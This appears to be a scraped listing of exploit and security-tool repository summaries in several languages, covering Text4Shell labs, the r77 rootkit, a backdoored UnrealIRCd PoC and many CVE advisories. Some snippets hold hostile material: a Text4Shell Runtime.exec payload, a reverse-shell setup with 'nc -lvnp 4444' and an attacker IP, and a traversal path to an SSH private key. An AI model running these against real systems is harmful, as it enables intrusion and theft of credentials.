text4shell-docker

Maven 설치 - maven-linux 1. fat jar 생성을 위한 Maven 설치 mvn clean install 2. Docker 빌드 docker build --tag=text4shell . 3. Docker 실행 docker run -p 80:8080 text4shell 4. 앱 테스트 http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 조회의 접두사인 문자열 “$prefix:name”를 전달하여 수행할 수 있습니다:...

r77-rootkit

r77 루트킷 파일리스 링 3 루트킷 r77은 모든 것을 숨기는 링 3 루트킷입니다: 파일, 디렉터리 프로세스 및 CPU/GPU 사용량 레지스트리 키 및 값 서비스 TCP 및 UDP 연결 정션, 명명된 파이프, 예약된 작업 접두사로 숨기기 "$77"로 시작하는 모든 것이 숨겨집니다. 설정 시스템 동적 설정 시스템은 PID 및 이름 으로 프로세스를, 전체 경로 로 파일 시스템 항목을, 특정 포트의 TCP 및 UDP 연결 등을 숨길 수 있습니다. 설정은 HKEYLOCALMACHINE\SOFTWARE$77config에 위치하며, 권...

m4ngl3m3

m4ngl3m3! Quick Installation: $ git clone https://github.com/localh0t/m4ngl3m3 $ cd m4ngl3m3 $ ./main.py Basic Help: usage: main.py -h -fy FROMYEAR -ty TOYEAR -sy -nf NUMBERSFILE -sf SYMBOLSFILE -cf CUSTOMFILE -sbs -sap -mm MUTATIONMETHODS MUTATIONMODE STRINGSFILE OUTPUTFILE Common password patte...

ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE

ServiceNow AI Platform Brazil, Australia, Zurich, and Yokohama releases before patching contains a pre-authentication remote code execution vulnerability. The /assessmentthanks.do endpoint passes the sysparmassessabletype parameter into GlideRecord's addQuery, which evaluates "javascript:" prefix...

Advance Post Prefix WordPress plugin - Reflected XSS

Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request. id: CVE-2024-12734 info: name: Advance...

Traefik - Open Redirect

Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2020-15129 info: name:...

edge

Cloud edge - クラウドのWhois IPを検索して、プロバイダが公開しているJSON、CSV、テキストデータに基づいてクラウドプロバイダやその他の詳細を見つける Cloud edgeは、クラウドサービスプロバイダの探索に焦点を当てたリコンツールです。クラウドの帰属やフォレンジック、ペネトレーションテスト、バグバウンティ、レッドチーム、あるいはクラウドプロバイダの一般的なR&Dに使用できます。Edgeは、Cloud Service Provider（CSP）が公開しているIPアドレス範囲（AWS、Azure、GCP、Cloudflare、Digital...

cve-2022-42889-text4shell

Maven 설치 - maven-linux 1. fat jar를 생성하기 위해 Maven install을 실행합니다. mvn clean install 2. Docker 빌드 docker build --tag=text4shell . 3. Docker 실행 docker run -p 80:8080 text4shell 4. 앱 테스트 http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 lookup을 prefix로 하는 문자열 “$prefix:name”을 전달하여 수행할 수 있습니다:...

log4j-detect

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability CVE-2021-44228 for a list of URL with multithreading The script "log4j-detect.py" developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228. To do so, it sends a G...

Vite-CVE-2025-30208-EXP

CVE-2025-30208 탐지 도구 취약점 분석 CVE-2025-30208은 Vite 개발 서버의 임의 파일 읽기 취약점입니다. 공격자는 특수 경로예: @fs 접두사를 구성하여 서버의 민감한 파일예: /etc/passwd 또는 C:\windows\win.ini을 읽을 수 있습니다. 이 도구는 단일 대상 탐지, 시스템 정보 조사 및 심층 환경 분석을 지원하며 복잡한 네트워크 환경에 맞춘 프록시 기능을 제공합니다. 기능 특성 단일 대상 탐지 : 명령줄 매개변수로 단일 대상 URL을 지정하여 취약점을 검증합니다. 시스템 정보 조사...

CVE-2022-42889

CVE-2022-42889-POC CVE-2022-42889 취약점을 악용하는 방법을 보여주는 간단한 데모 애플리케이션입니다. OOBOut of Band 서비스를 활용하여 dns 및 url 접두사를 시연합니다. commons-text 보간interpolation JavaDocs: commons-text JavaDocs 보간 예시 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST...

ShellEvil

ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX CVE-2013-225 S2-016용 Struts 2 DefaultActionMapper 대화형 셸 익스플로잇 Struts 2 DefaultActionMapper는 매개변수 앞에 다음과 같은 접두사를 붙여 탐색 상태 변경을 단락short-circuit시키는 방법을 지원합니다: "action:" 또는 "redirect:" 뒤에 원하는 탐색 대상 표현식을 추가합니다. 이 메커니즘은 양식 내 버튼에 탐색 정보를 연결하는 데 도...

CVE-2026-52886

路径遍历：startswith 前缀检查绕过 Notepad++ — 通过session.xml 的 backupFilePath 遍历实现任意文件读取 公告 GHSA: GHSA-rqfm-pw34-r7j6 CVE: CVE-2026-52886 严重性: 中等 受影响版本: ........\Users\victim.ssh\idrsa 2. 前缀 \ 满足 startswith，因此验证通过。 3. 启动 Notepad++（触发会话恢复）。 4. 操作系统折叠 ..\ 序列；目标文件被打开。 5. 任意文件的内容被加载到编辑器标签页中。 结果： 只读外泄 —...

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

보안 권고: URL 접두사 처리의 도달 가능한 단언을 통한 원격 서비스 거부 rouille 지정된 CVE ID: CVE-2026-66754 요약 Request::removeprefix는 퍼센트 디코딩된 URL을 검사하지만 원시raw URL에 대해 단언assert합니다. 디코딩된 경로가 접두사로 시작하지만 원시 경로는 그렇지 않은 요청은 검사를 통과한 뒤 단언에 실패합니다. 접두사의 한 문자만 퍼센트 인코딩하면 충분합니다. 기본 빌드에서는 패닉이 포착되어 500으로 처리됩니다. panic = "abort"로 빌드한 경우에는 이를...

CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 백도어 Bash PoC 설명 UnrealIRCd 3.2.8.1 소스 tarball에 삽입된 백도어를 위한 Bash PoC입니다. 변조된 바이너리는 IRC 포트로 전송된 AB; 접두사가 붙은 임의의 명령을 실행합니다. 사용법 chmod +x exploit.sh ./exploit.sh 예제: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 실행 전에 리스너를 설정하세요: nc -lvnp 4444 작동 원리 백도어는 수신 데이터에...

CVE-2026-53519

Lab CVE-2026-53519 - Nezha Dashboard pre-auth path traversal Lab は pre-auth path traversal via/dashboard.. prefix confusion の脆弱性を再現します。 Nezha Dashboard において、jwtsecretkey の漏洩 - JWT 偽造 - admin 権限奪取に至ります。 Docker 環境で、version ごとに A/B を分離し vuln vs patched を比較します。 | Image| URL loopback| 期待される結果...

CVE-2026-25890-FileBrowser-Access-Control-Bypass

CVE-2026-25890 - FileBrowser アクセス制御バイパス 未認証ユーザーはこの脆弱性を悪用できません — ターゲットパスへのアクセスが制限された有効な低権限資格情報が必要です。 FileBrowser ≤ v2.57.0 におけるパスベースの認可バイパス。複数の先頭スラッシュ（/private の代わりに //private）を使用して strings.HasPrefix チェックを回避しつつ、ファイルシステムは正規化されたパスを提供します。 v2.57.1 で修正済み（コミット 489af403... – r.SkipCleantrue を削除）。 📦 機能...

cve-2022-42889-text4shell

Maven 설치 - maven-linux 1. Maven 설치하여 fat jar 생성 mvn clean install 2. Docker 빌드 docker build --tag=text4shell . 3. Docker 실행 docker run -p 80:8080 text4shell 4. 앱 테스트 http://localhost/text4shell/attack?search= 5. 공격은 앞서 언급한 조회lookup에서 접두사prefix를 사용하여 문자열 “$prefix:name”을 전달함으로써 수행할 수 있습니다:...

EUVD-2026-81594

vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted...

NPM: vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted

NPM: vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted vulnerability discovered by ? in WordPress Npm vm2 versions = 3.11.6...